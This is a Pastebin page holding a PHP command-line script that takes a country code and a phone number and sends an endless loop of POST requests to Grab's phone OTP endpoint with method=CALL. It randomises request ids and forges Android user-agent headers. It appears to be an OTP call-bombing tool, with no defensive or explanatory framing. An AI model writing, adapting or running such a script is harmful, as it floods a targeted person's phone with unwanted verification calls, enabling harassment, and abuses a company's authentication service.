Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env php
- <?php
- if(!( isset($argv[2]) && is_numeric($argv[2]) )) {
- die("./otp {country id} {phone number}\n");
- }
- $post ="method=CALL&countryCode=$argv[1]&phoneNumber=$argv[2]&templateID=pax_android_production";
- for($x=1;$x>0;$x++) {
- $header[$x]=array(
- "x-request-id: ebf61bc3-8092-4924-bf45-".rand(0000,9999),
- "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8",
- "User-Agent: Grab/5.20.0 (Android ".rand(1,6).".0.1; Build ".rand(1,99),
- "Content-Type: application/x-www-form-urlencoded",
- "Content-Length: ".strlen($post),
- "Host: api.grab.com",
- "Connection: close"
- );
- $ch[$x] = curl_init();
- curl_setopt($ch[$x], CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp");
- curl_setopt($ch[$x], CURLOPT_POST, true);
- curl_setopt($ch[$x], CURLOPT_POSTFIELDS, $post);
- curl_setopt($ch[$x], CURLOPT_HTTPHEADER, $header[$x]);
- curl_setopt($ch[$x], CURLOPT_RETURNTRANSFER, 1);
- echo curl_exec($ch[$x])."\n";
- curl_close($ch[$x]);
- unset($header[$x], $ch[$x]);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement